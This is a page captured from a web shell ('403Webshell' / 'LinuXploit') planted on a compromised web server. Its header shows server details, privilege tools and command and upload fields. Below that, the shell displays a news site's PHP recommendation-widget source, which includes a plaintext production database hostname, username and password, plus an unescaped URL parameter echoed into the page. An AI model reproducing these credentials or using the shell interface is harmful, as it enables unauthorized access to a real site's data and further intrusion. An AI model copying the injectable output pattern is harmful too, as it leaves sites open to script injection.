403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/bway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/bway/recommendednew2026wide.php
<?php
require_once __DIR__ . '/db/mysql_bootstrap.php';

if (!defined('DB_TLS_ENABLED')) {
	define('DB_TLS_ENABLED', getenv('DB_TLS_ENABLED') !== '0');
}
if (!defined('DB_TLS_CA_PATH')) {
	define('DB_TLS_CA_PATH', getenv('DB_TLS_CA_PATH') ?: '/etc/pki/tls/certs/rds-global-bundle.pem');
}

// Browser-only cache: 60s fresh, then 10m stale-while-revalidate. `private`
// blocks intermediaries; `Vary: Cookie` triggers re-fetch when cookie state changes.
header('Cache-Control: private, max-age=60, stale-while-revalidate=600');
// Single Vary header with both axes so Apache's mod_deflate can't overwrite Cookie.
header('Vary: Cookie, Accept-Encoding');

$debugMode = isset($_GET['debug']);
$debugRegionSource = '';
$debugQuery = '';
$debugIsFallback = false;
$debugClientIp = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? ($_SERVER['REMOTE_ADDR'] ?? '');

// Cloudflare visitor-location headers (paid plan + Managed Transforms).
$cfCountry = trim($_SERVER['HTTP_CF_IPCOUNTRY'] ?? '');
$cfRegion  = trim($_SERVER['HTTP_CF_REGION']    ?? ''); // full state name, e.g. "California"
$cfCity    = trim($_SERVER['HTTP_CF_IPCITY']    ?? '');
$debugCfCountry = $cfCountry;
$debugCfRegion  = $cfRegion;
$debugCfCity    = $cfCity;

// Clean up legacy cookies before any output is sent.
if (isset($_COOKIE['MYARTICLES2020'])) {
    setcookie('MYARTICLES2020', null, -1, '/');
}
if (isset($_COOKIE['MYARTICLES20221'])) {
    setcookie('MYARTICLES20221', null, -1, '/');
}
if (isset($_COOKIE['MYARTICLES2021'])) {
    setcookie('MYARTICLES2021', null, -1, '/');
}

$time_start = microtime(true);

// Use persistent connection for better performance with timeout options
$link = mysqli_init();
mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 2);
mysqli_options($link, MYSQLI_OPT_READ_TIMEOUT, 2);
$connectFlags = mysqlConfigureMysqliTls($link, DB_TLS_ENABLED, DB_TLS_CA_PATH);
mysqli_real_connect(
	$link,
	'p:amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com',
	'admin',
	'xxatN6Lb8Kbwb9MiU1At',
	'amazonrds',
	null,
	null,
	$connectFlags
);
$GLOBALS["___mysqli_ston"] = $link;

if(isset($_REQUEST['threader']))
{
	// Use separate lightweight connection for tracking to avoid blocking main query
	$trackLink = mysqli_init();
	mysqli_options($trackLink, MYSQLI_OPT_CONNECT_TIMEOUT, 1);
	$trackFlags = mysqlConfigureMysqliTls($trackLink, DB_TLS_ENABLED, DB_TLS_CA_PATH);
	mysqli_real_connect(
		$trackLink,
		'p:amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com',
		'admin',
		'xxatN6Lb8Kbwb9MiU1At',
		'amazonrds',
		null,
		null,
		$trackFlags
	);
	$sql = "INSERT LOW_PRIORITY INTO bway_bww.wbtrack (photoid) VALUES (" . intval($_REQUEST['thread']) . ")";
	mysqli_query($trackLink, $sql);
	mysqli_close($trackLink);
} 

else if(isset($_REQUEST['colid']) && (isset($_REQUEST['sourcevar']) && $_REQUEST['sourcevar'] != '' && ($_REQUEST['colid']>2058774)))
{
	$today = date("Y-m-d");

}
?>
<html lang="en"><head><meta charset="UTF-8"><link rel="preconnect" href="https://cloudimages2.broadwayworld.com">
<link rel="dns-prefetch" href="https://cloudimages2.broadwayworld.com"><meta name="googlebot" content="noindex,indexifembedded" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Recommended for You</title>

<?php
if(isset($_GET['new'])) { // check if "new" parameter exists in the URL
    // if "new" parameter exists, use this CSS
    echo '<link href="https://cloudimages.broadwayworld.com/bworld1523/assets/css/style44min.css" rel="stylesheet">
<Style type="text/css">@charset UTF-8;body{
    font-family: "Poppins"!important;
    font-weight: normal;
    font-style: normal;
    margin:0;padding:0;background:#ffffff;font-display:auto;
}
.recommended-container {
    display: flex;
    flex-wrap: wrap;
    gap: 10px;
    width: 100%;
    padding-top:0px;
    box-sizing: border-box;
    max-width: 740px;
    margin: 0 auto;
}
.recommended-item {
    flex: 1 1 calc(25% - 8px);
    min-width: calc(50% - 5px);
    max-width: calc(50% - 5px);
    display: flex;
    flex-direction: column;
    word-break: break-word;
    overflow: hidden;
}
@media (min-width: 560px) {
    .recommended-item {
        flex: 1 1 calc(25% - 8px);
        min-width: calc(25% - 8px);
        max-width: calc(25% - 8px);
    }
}
a{
    margin:0;
    font-size: 13px;
    line-height:16px;
    letter-spacing: -.3px;
    color:#313131;
    text-decoration:none;
    display: flex;
    flex-direction: column;
    height: 100%;
}
img{
    max-width:100%;
    height:auto;
    display: block;
}
a:hover{
    color:#b20223;
}
.recommended-image {
    width: 100%;
    aspect-ratio: 16/10;
    object-fit: cover;
    margin-bottom: 6px;
    border-radius: 3px;
}
.recommended-title {
    font-size: 13px;
    line-height: 16px;
    font-weight: 600;
    margin: 0;
    flex-grow: 1;
    display: -webkit-box;
    -webkit-line-clamp: 2;
    -webkit-box-orient: vertical;
    overflow: hidden;
}
a, button {
    color: #222222;
    font-size: 13px;
    font-weight: normal;
    line-height: 16px;
    color: #222222;
    outline: medium none;
}
h4 {
    margin: 0;
    padding: 0;
}
</style></head><body style="margin-top:0;padding:0;"><Div style="width:100%;margin:0px;padding:8px 0;">';
} else {
    // if "new" parameter does not exist, use this CSS
    echo '<Style type="text/css">@charset UTF-8;
body{
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji" !important;
    margin:0;
    padding:0;
    background:#ffffff;
    font-display:auto;
}
.recommended-container {
    display: flex;
    flex-wrap: wrap;
    gap: 10px;
    width: 100%;
    padding: 8px 0;
    box-sizing: border-box;
    max-width: 740px;
    margin: 0 auto;
}
.recommended-item {
    flex: 1 1 calc(25% - 8px);
    min-width: calc(50% - 5px);
    max-width: calc(50% - 5px);
    display: flex;
    flex-direction: column;
    word-break: break-word;
    overflow: hidden;
}
@media (min-width: 560px) {
    .recommended-item {
        flex: 1 1 calc(25% - 8px);
        min-width: calc(25% - 8px);
        max-width: calc(25% - 8px);
    }
}
a{
    margin:0;
    font-weight:600;
    font-size: 13px;
    line-height:16px;
    letter-spacing: -.3px;
    color:#313131;
    text-decoration:none;
    display: flex;
    flex-direction: column;
    height: 100%;
}
img{
    max-width:100%;
    height:auto;
    display: block;
}
a:hover{
    color:#b20223;
}
.recommended-image {
    width: 100%;
    aspect-ratio: 16/10;
    object-fit: cover;
    margin-bottom: 6px;
    border-radius: 3px;
}
.recommended-title {
    font-size: 13px;
    line-height: 16px;
    font-weight: 600;
    margin: 0;
    flex-grow: 1;
    display: -webkit-box;
    -webkit-line-clamp: 2;
    -webkit-box-orient: vertical;
    overflow: hidden;
}
h4 {
    margin: 0;
    padding: 0;
}
</style></head><body><Div style="width:100%;padding:0px 0;margin:0px;">';
}
?>

<?php
if(isset($_GET['black'])) {?>
<Style type="text/css">
	body a {
    color: #fff;
}
body {background-color:#000;}
</Style>
	
<?php }?>

<?php

/** Run a query and recover from a stale persistent connection.
 *  mysqli_ping() can report OK on a socket the server has already dropped,
 *  so we catch errno 2006/2013 from the actual query, reconnect, retry once. */
if (!function_exists('safeQuery')) {
function safeQuery(&$link, $query)
{
	try {
		return mysqli_query($link, $query);
	} catch (mysqli_sql_exception $e) {
		if ($e->getCode() !== 2006 && $e->getCode() !== 2013) {
			throw $e;
		}
		@mysqli_close($link);
		$link = mysqli_init();
		mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 2);
		mysqli_options($link, MYSQLI_OPT_READ_TIMEOUT, 2);
		$retryFlags = mysqlConfigureMysqliTls($link, DB_TLS_ENABLED, DB_TLS_CA_PATH);
		mysqli_real_connect(
			$link,
			'amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com',
			'admin',
			'xxatN6Lb8Kbwb9MiU1At',
			'amazonrds',
			null,
			null,
			$retryFlags
		);
		$GLOBALS["___mysqli_ston"] = $link;
		return mysqli_query($link, $query);
	}
}
}

/** queries an sql statement and returns a record **/
function q($query, &$link)
{
	$result = safeQuery($link, $query);
        if($result AND mysqli_num_rows($result)>0)
        {
                // collect query results
                $out = array();
                while($row = mysqli_fetch_assoc($result))
                {
                	$out[] = $row;
                }
                return $out;
        }
	return NULL;
}

/** ip2locationipv4 region lookup with APCu cache.
 *  The table is static reference data, so TTL=0 (lives until process restart/eviction).
 *  Misses are negative-cached as ['__miss'=>1] so repeated unknown locations don't re-query. */
if (!function_exists('ip2locLookup')) {
function ip2locLookup(&$link, $country, $state, $city)
{
	$key = 'ip2loc_' . md5($country . '|' . $state . '|' . $city);
	if (function_exists('apcu_fetch')) {
		$cached = apcu_fetch($key, $hit);
		if ($hit) {
			return isset($cached['__miss']) ? null : $cached;
		}
	}
	$cE  = mysqli_real_escape_string($link, $country);
	$sE  = mysqli_real_escape_string($link, $state);
	$cyE = mysqli_real_escape_string($link, $city);
	$where = "country_short='".$cE."'";
	if ($state !== '') { $where .= " AND state='".$sE."'"; }
	if ($city  !== '') { $where .= " AND city='".$cyE."'"; }
	$query = "SELECT region_id as regid, region_dir as regdir, region_name as regname
	          FROM bway_bwdb.ip2locationipv4
	          WHERE ".$where."
	          LIMIT 1";
	$res = safeQuery($link, $query);
	$row = $res ? mysqli_fetch_assoc($res) : null;
	if (function_exists('apcu_store')) {
		apcu_store($key, $row ?: ['__miss' => 1], 0);
	}
	return $row;
}
}

$reginc=0;


if(isset($_COOKIE["REGION2023"]) && isset($_COOKIE["REGIONDIR"]) && isset($_COOKIE["REGNAME"]) ){
	$reginc = $_COOKIE["REGION2023"];
	$debugRegionSource = 'cookie:REGION2023=' . $reginc;
} else {

// If Cloudflare didn't set HTTP_CF_IPCOUNTRY, default to 'US'.
$country = $cfCountry !== '' ? $cfCountry : 'US';

switch ($country)
{
    case 'GB': $reginc = 4; break;
    case 'UK': $reginc = 4; break;
    case 'FR': $reginc = 149; break;
    case 'NZ': $reginc = 3; break;
    case 'CN': $reginc = 66; break;
    case 'JP': $reginc = 67; break;
    case 'DE': $reginc = 68; break;
    case 'KR': $reginc = 94; break;
    case 'PH': $reginc = 120; break;
    case 'ES': $reginc = 146; break;
    case 'NL': $reginc = 147; break;
    case 'IT': $reginc = 148; break;
    case 'BR': $reginc = 150; break;
    case 'AR': $reginc = 151; break;
    case 'MX': $reginc = 152; break;
    case 'IN': $reginc = 153; break;
    case 'IE': $reginc = 154; break;
    case 'IL': $reginc = 156; break;
    case 'ZA': $reginc = 157; break;
    case 'BE': $reginc = 158; break;
    case 'CH': $reginc = 159; break;
    case 'CZ': $reginc = 160; break;
    case 'PL': $reginc = 161; break;
    case 'SE': $reginc = 162; break;
    case 'HU': $reginc = 163; break;
    case 'TR': $reginc = 164; break;
    case 'NO': $reginc = 165; break;
    case 'AT': $reginc = 166; break;
    case 'RU': $reginc = 167; break;
    case 'MY': $reginc = 168; break;
    case 'ID': $reginc = 169; break;
    case 'FI': $reginc = 170; break;
    case 'MC': $reginc = 187; break;
    case 'LU': $reginc = 188; break;
    case 'SG': $reginc = 196; break;
    case 'PT': $reginc = 316; break;
    case 'CO': $reginc = 317; break;
    case 'VE': $reginc = 318; break;
    case 'PE': $reginc = 319; break;
    case 'CU': $reginc = 320; break;
    case 'EG': $reginc = 321; break;
    case 'QA': $reginc = 322; break;
    case 'HK': $reginc = 336; break;
    case 'DK': $reginc = 338; break;
    case 'GR': $reginc = 339; break;
    case 'IS': $reginc = 340; break;
    case 'PA': $reginc = 341; break;
    case 'EE': $reginc = 346; break;
    case 'BG': $reginc = 347; break;
    case 'CY': $reginc = 348; break;
    case 'BM': $reginc = 349; break;
    case 'MT': $reginc = 350; break;

    // US (and any unknown country) falls through to the CF city/state lookup below.
    default:
        $reginc = 0;
        break;
}
if ($reginc != 0) {
	$debugRegionSource = 'cf-country:' . $country . '=' . $reginc;
}


if ($reginc == 0) {
	// CF visitor-location lookup against the existing ip2location table.
	// Three tiers: country+state+city → country+state → country → default 1.
	// All three tiers go through ip2locLookup() which APCu-caches indefinitely.

	$getcolumn = null;
	$matchTier = '';

	if ($cfCountry !== '' && $cfRegion !== '' && $cfCity !== '') {
		$getcolumn = ip2locLookup($link, $cfCountry, $cfRegion, $cfCity);
		if ($getcolumn) { $matchTier = 'cf-city:' . $cfCountry . '/' . $cfRegion . '/' . $cfCity; }
	}
	if (!$getcolumn && $cfCountry !== '' && $cfRegion !== '') {
		$getcolumn = ip2locLookup($link, $cfCountry, $cfRegion, '');
		if ($getcolumn) { $matchTier = 'cf-state:' . $cfCountry . '/' . $cfRegion; }
	}
	if (!$getcolumn && $cfCountry !== '') {
		$getcolumn = ip2locLookup($link, $cfCountry, '', '');
		if ($getcolumn) { $matchTier = 'cf-country-only:' . $cfCountry; }
	}

	if (isset($getcolumn['regid']) && $getcolumn['regid'] != '') {
		$reginc = $getcolumn['regid'];
		$debugRegionSource = $matchTier . '=' . $reginc;
		setcookie("REGION2023", $reginc, time()+32*24*60*60, "/", ".broadwayworld.com");
		setcookie("REGIONDIR", $getcolumn['regdir'], time()+32*24*60*60, "/", ".broadwayworld.com");
		setcookie("REGNAME",   $getcolumn['regname'], time()+32*24*60*60, "/", ".broadwayworld.com");
	} else {
		$reginc = 1;
		$debugRegionSource = 'default-1 (no cf match for ' . $cfCountry . '/' . $cfRegion . '/' . $cfCity . ')';
		setcookie("REGION2023", 1, time()+32*24*60*60, "/", ".broadwayworld.com");
	}
}

}

mysqli_set_charset($link, "utf8");
if($reginc==324 ) 
 {$reginc=1;
 }
?>


<?php
 
// ✅ A/B Test Randomizer for sort method - cache variant per user session
if(isset($_COOKIE["ABTEST2023"])) {
    $abTestVariant = (int)$_COOKIE["ABTEST2023"];
} else {
    $abTestVariant = rand(1,2);
    setcookie("ABTEST2023", $abTestVariant, time()+86400, "/", ".broadwayworld.com");
}
if ($abTestVariant === 1) {
    $sortMethod = "views DESC";
    $abTestName = "views_based";
} else {
    $sortMethod = "r.dateposted DESC";
    $abTestName = "date_based";
}

// ✅ Date filter logic - pre-calculate date cutoff to avoid DATE_SUB in query.
// Date-only (no H:i:s) keeps the query string stable for 24h so APCu cache keys
// actually hit; ORDER BY dateposted DESC + LIMIT keeps the result set tight.
$dateInterval = ($reginc < 4) ? 7 : 10;
$dateCutoff = date('Y-m-d', strtotime("-$dateInterval days"));
$dateCutoffEscaped = mysqli_real_escape_string($link, $dateCutoff);
$regincEscaped = (int)$reginc;

$myArticlesCookie = isset($_COOKIE["MYARTICLES20228"]) ? $_COOKIE["MYARTICLES20228"] : "";
// Reject the cookie if oversized or shaped wrong — it goes straight into NOT IN (...)
if ($myArticlesCookie !== "" && (strlen($myArticlesCookie) > 3000 || !preg_match('/^[\d,]+$/', $myArticlesCookie))) {
    setcookie("MYARTICLES20228", "", time()-3600, "/", ".broadwayworld.com");
    setcookie("MYINTERESTS20228", "", time()-3600, "/", ".broadwayworld.com");
    $myArticlesCookie = "";
}

if ($myArticlesCookie !== "")
{
    $myArticlesEscaped = mysqli_real_escape_string($link, $myArticlesCookie);

	if ($abTestVariant === 1) {
		// Variant 1: Views-based sorting - use subquery instead of JOIN
		$query="SELECT DISTINCT r.colid, r.title, r.regionid, r.dirname, r.seo_friendly, r.mainswapbig, r.mainswap100,
		               (SELECT Views FROM bway_bww.columnstats WHERE id = r.colid LIMIT 1) as views
		        FROM amazonrds.recommendationengine r
		        WHERE r.regionid = ".$regincEscaped."
		        AND r.dateposted >= '".$dateCutoffEscaped."'
		        AND r.colid NOT IN (".$myArticlesEscaped.")
		        ORDER BY views DESC
		        LIMIT 4";
	} else {
		// Variant 2: Date-based sorting - no need for columnstats at all
		$query="SELECT DISTINCT r.colid, r.title, r.regionid, r.dirname, r.seo_friendly, r.mainswapbig, r.mainswap100
		        FROM amazonrds.recommendationengine r
		        WHERE r.regionid = ".$regincEscaped."
		        AND r.dateposted >= '".$dateCutoffEscaped."'
		        AND r.colid NOT IN (".$myArticlesEscaped.")
		        ORDER BY r.dateposted DESC
		        LIMIT 4";
	}

	$debugQuery = $query;
	if ($debugMode) {
		$rows = q($query, $link);
	} else {
		$cacheKey = 'rec_q_' . md5($query);
		$rows = apcu_fetch($cacheKey, $hit);
		if (!$hit) {
			$rows = q($query, $link);
			apcu_store($cacheKey, $rows, 3600);
		}
	}

} else {

	if ($abTestVariant === 1) {
		// Variant 1: Views-based sorting - use subquery instead of JOIN
		$query="SELECT r.colid, r.title, r.regionid, r.dirname, r.seo_friendly, r.mainswapbig, r.mainswap100,
		               (SELECT Views FROM bway_bww.columnstats WHERE id = r.colid LIMIT 1) as views
		        FROM recommendationengine r
		        WHERE r.colid > 2380000
		        AND r.regionid = ".$regincEscaped."
		        AND r.dateposted >= '".$dateCutoffEscaped."'
		        ORDER BY views DESC
		        LIMIT 4";
	} else {
		// Variant 2: Date-based sorting - no need for columnstats at all
		$query="SELECT r.colid, r.title, r.regionid, r.dirname, r.seo_friendly, r.mainswapbig, r.mainswap100
		        FROM recommendationengine r
		        WHERE r.colid > 2380000
		        AND r.regionid = ".$regincEscaped."
		        AND r.dateposted >= '".$dateCutoffEscaped."'
		        ORDER BY r.dateposted DESC
		        LIMIT 4";
	}

	$debugQuery = $query;
	if ($debugMode) {
		$rows = q($query, $link);
	} else {
		$cacheKey = 'rec_q_' . md5($query);
		$rows = apcu_fetch($cacheKey, $hit);
		if (!$hit) {
			$rows = q($query, $link);
			apcu_store($cacheKey, $rows, 3600);
		}
	}
}

// Fallback: never let the iframe render empty. If the regional query came back
// empty, fetch a generic top-level set (region 1) under its own APCu key.
if (empty($rows)) {
	$fallbackQuery = "SELECT r.colid, r.title, r.regionid, r.dirname, r.seo_friendly, r.mainswapbig, r.mainswap100
	                  FROM recommendationengine r
	                  WHERE r.colid > 2380000
	                  AND r.regionid = 1
	                  AND r.dateposted >= '".$dateCutoffEscaped."'
	                  ORDER BY r.dateposted DESC
	                  LIMIT 4";
	$debugIsFallback = true;
	$debugQuery = $fallbackQuery;
	if ($debugMode) {
		$rows = q($fallbackQuery, $link);
	} else {
		$cacheKey = 'rec_q_fb_' . md5($fallbackQuery);
		$rows = apcu_fetch($cacheKey, $hit);
		if (!$hit) {
			$rows = q($fallbackQuery, $link);
			apcu_store($cacheKey, $rows, 3600);
		}
	}
}

if (is_array($rows) || is_object($rows))
{
	echo '<div class="recommended-container">';
	foreach($rows as $row)
	{
		echo '<div class="recommended-item">';
		echo '<h4><a target="_top" href="https://www.broadwayworld.com/';
		if ($row['dirname'] != '') {
		    echo $row['dirname'] . '/';
		}
		echo 'article/' . $row['seo_friendly'] . '" 
		    onclick="trackArticleClick(\'' . $abTestName . '\', \'' . $abTestVariant . '\', \'' . htmlspecialchars($sortMethod, ENT_QUOTES) . '\', \'' . $row['colid'] . '\', \'' . $row['colid'] . '\')">';
		    
		    // Optimize image loading with WebP format and proper srcset
			$imgSmall = str_replace('cloudimages.broadwayworld.com', 'cloudimages2.broadwayworld.com', $row['mainswap100']);
			$imgBig = str_replace('cloudimages.broadwayworld.com', 'cloudimages2.broadwayworld.com', $row['mainswapbig']);
			$titleEscaped = htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8');
			
			echo '<img loading="lazy" decoding="async" class="recommended-image" width="300" height="169" src="' . htmlspecialchars($imgSmall . '?format=webp&width=300&quality=80', ENT_QUOTES) . '" srcset="' . htmlspecialchars($imgBig . '?format=webp&width=600&quality=80', ENT_QUOTES) . ' 2x" alt="' . $titleEscaped . '"/>';
			echo '<span class="recommended-title">' . htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8') . '</span>'; 
			echo '</a></h4></div>';    
	}
	echo '</div>';
}
?>
<?php if($reginc!=1 && $reginc!=4 && isset($_GET["dirname"]) && $_GET["dirname"]!='') { ?>
<small><a href="https://www.broadwayworld.com/<?php if($_GET["dirname"]!=''){?><?php echo $_GET["dirname"]; echo '/';}?>" target="_top">View More Local News</a></small><p>	
<?php }
if ($debugMode) {
	$debugRowCount = is_array($rows) ? count($rows) : 0;
	$debugColIds = [];
	if (is_array($rows)) {
		foreach ($rows as $r) { $debugColIds[] = $r['colid']; }
	}
	$debugElapsed = round((microtime(true) - $time_start) * 1000, 1);
	echo "\n<pre style=\"margin-top:20px;padding:10px;background:#f4f4f4;border:1px solid #ccc;font:12px/1.4 monospace;white-space:pre-wrap;word-break:break-all;\">";
	echo "DEBUG (set ?debug=1 to view; load directly, not via iframe — iframe height is capped at 250px)\n";
	echo "----------------------------\n";
	echo "Client IP        : " . htmlspecialchars($debugClientIp, ENT_QUOTES) . "\n";
	echo "CF-IPCountry     : " . htmlspecialchars($debugCfCountry, ENT_QUOTES) . "\n";
	echo "CF-Region        : " . htmlspecialchars($debugCfRegion, ENT_QUOTES) . "\n";
	echo "CF-IPCity        : " . htmlspecialchars($debugCfCity, ENT_QUOTES) . "\n";
	echo "Region source    : " . htmlspecialchars($debugRegionSource, ENT_QUOTES) . "\n";
	echo "Region id        : " . htmlspecialchars((string)$reginc, ENT_QUOTES) . "\n";
	echo "REGIONDIR cookie : " . htmlspecialchars($_COOKIE['REGIONDIR'] ?? '(unset)', ENT_QUOTES) . "\n";
	echo "REGNAME cookie   : " . htmlspecialchars($_COOKIE['REGNAME'] ?? '(unset)', ENT_QUOTES) . "\n";
	echo "A/B variant      : " . htmlspecialchars((string)$abTestVariant, ENT_QUOTES) . " (" . htmlspecialchars($abTestName, ENT_QUOTES) . ", sort=" . htmlspecialchars($sortMethod, ENT_QUOTES) . ")\n";
	echo "Date cutoff      : " . htmlspecialchars($dateCutoff, ENT_QUOTES) . " (" . (int)$dateInterval . " days)\n";
	echo "MYARTICLES20228  : " . htmlspecialchars($myArticlesCookie === '' ? '(empty/rejected)' : $myArticlesCookie, ENT_QUOTES) . "\n";
	echo "Used fallback    : " . ($debugIsFallback ? 'yes (regional query returned 0)' : 'no') . "\n";
	echo "Rows returned    : " . (int)$debugRowCount . "\n";
	echo "colids           : " . htmlspecialchars(implode(',', $debugColIds), ENT_QUOTES) . "\n";
	echo "Elapsed (ms)     : " . htmlspecialchars((string)$debugElapsed, ENT_QUOTES) . "\n";
	echo "Query:\n" . htmlspecialchars($debugQuery, ENT_QUOTES) . "\n";
	echo "</pre>";
}
mysqli_close($link); ?></body></html>

<script>
function trackArticleClick(abTestName, abTestVariant, sortMethod, articleId, articleTitle) {
    var url = '/track_rf.cfm?abTestName=' + encodeURIComponent(abTestName) + 
              '&abTestVariant=' + encodeURIComponent(abTestVariant) + 
              '&sortMethod=' + encodeURIComponent(sortMethod) +
              '&articleId=' + encodeURIComponent(articleId) +
              '&articleTitle=' + encodeURIComponent(articleId);
    
    // Use sendBeacon for better performance (non-blocking, works even after page unload)
    if (navigator.sendBeacon) {
        navigator.sendBeacon(url);
    } else {
        // Fallback to fetch with keepalive
        fetch(url, { method: 'GET', keepalive: true }).catch(function() {});
    }
}

// Send height to parent window for iframe resizing (if embedded)
function sendHeightToParent() {
    if (window.parent && window.parent !== window) {
        var height = Math.max(
            document.body.scrollHeight,
            document.body.offsetHeight,
            document.documentElement.clientHeight,
            document.documentElement.scrollHeight,
            document.documentElement.offsetHeight
        );
        // Cap maximum height at 250px to prevent iframe from being too tall
        var maxHeight = 250;
        height = Math.min(height, maxHeight);
        window.parent.postMessage({
            type: 'recommended-iframe-height',
            height: height
        }, '*');
    }
}

// Send height on load and resize
window.addEventListener('load', function() {
    sendHeightToParent();
    setTimeout(sendHeightToParent, 500); // Delay for images to load
});

window.addEventListener('resize', function() {
    setTimeout(sendHeightToParent, 100);
});

// Also send height when images load
document.addEventListener('DOMContentLoaded', function() {
    var images = document.querySelectorAll('img');
    images.forEach(function(img) {
        img.addEventListener('load', sendHeightToParent);
    });
});
</script>


Youez - 2016 - github.com/yon3zu
LinuXploit